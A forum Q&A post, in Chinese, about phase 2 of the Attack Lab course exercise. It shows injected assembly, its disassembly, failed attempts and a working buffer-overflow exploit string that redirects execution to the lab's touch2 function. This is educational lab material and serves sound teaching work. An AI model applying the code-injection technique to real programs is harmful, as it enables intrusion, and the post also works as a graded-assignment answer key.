攻击实验室阶段2缓冲区溢出攻击

问题描述

我有一个名为The Attack Lab的项目必须做的缓冲区溢出实验。我现在处于实验的第二阶段,我必须将代码作为漏洞利用字符串的一部分注入,以使程序指向函数touch2()的地址。我已经获得了我需要的正确利用代码(已通过TA确认):

movq $0x4ed659a2,$rdi
pushq $0x4018c3  //address of touch2
ret

我编译并反汇编了这段代码

disassembly of section .text:

   0:   48 c7 c7 a2 59 d6 4e    mov    $0x4ed659a2,%rdi
   7:   68 c3 18 40 00          pushq  $0x4018c3
   c:   c3                      retq

我想找到正确的利用程序字符串以传递到程序中? %rsp的地址为0x5560a188

我的助教说this discussion评论是正确的,所以我尝试了此漏洞利用字符串

48 c7 c7 a2 59 d6 4e 00
68 c3 18 40 00 00 00 00
c3 00 00 00 00 00 00 00
88 a1 60 55 00 00 00 00

但这是不正确的。它甚至没有达到touch2

在此之前,我致力于以下解决方案:

48 c7 c7 a2 59 d6 4e c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
88 a1 60 55 00 00 00 00
c3 18 40 00 00 00 00 00

0:   48 c7 c7 a2 59 d6 4e    mov    $0x4ed659a2,%rdi
7:   c3                      retq

发生段错误

我反汇编了rtarget here。 ctarget和rtarget的行为相同。

谢谢。

解决方法

我已经问过我的教授并得到了解决方案。

最初,我的错误利用字符串是

48 c7 c7 a2 59 d6 4e 00
68 c3 18 40 00 00 00 00
c3 00 00 00 00 00 00 00
88 a1 60 55 00 00 00 00

但是,我的教授告诉我不要在指令之间添加任何额外的字节。所以我尝试了

48 c7 c7 a2 59 d6 4e 
68 c3 18 40 00
c3
00 00 00 00 00 00 00 00 00 00 00
88 a1 60 55 00 00 00 00

它有效!

因此,我们只需要确保指令的所有字节都在一起且中间没有填充,并且不要弄乱指令的字节顺序!